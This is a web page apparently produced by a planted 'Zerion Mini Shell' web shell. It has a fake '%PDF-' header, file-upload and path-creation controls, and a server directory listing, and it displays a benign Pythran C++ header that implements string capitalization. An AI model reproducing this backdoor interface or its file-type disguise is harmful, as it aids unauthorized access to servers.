%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/builtins/str/
Upload File :
Create Path :
Current File : //proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/builtins/str/capitalize.hpp

#ifndef PYTHONIC_BUILTIN_STR_CAPITALIZE_HPP
#define PYTHONIC_BUILTIN_STR_CAPITALIZE_HPP

#include "pythonic/include/builtins/str/capitalize.hpp"

#include "pythonic/types/str.hpp"
#include "pythonic/utils/functor.hpp"

PYTHONIC_NS_BEGIN

namespace builtins
{

  namespace str
  {

    types::str capitalize(types::str const &s)
    {
      if (s.empty())
        return s;
      else {
        types::str copy = s;
        copy.chars()[0] = ::toupper(s.chars()[0]);
        std::transform(s.chars().begin() + 1, s.chars().end(),
                       copy.chars().begin() + 1, ::tolower);
        return copy;
      }
    }
  }
}
PYTHONIC_NS_END
#endif

Zerion Mini Shell 1.0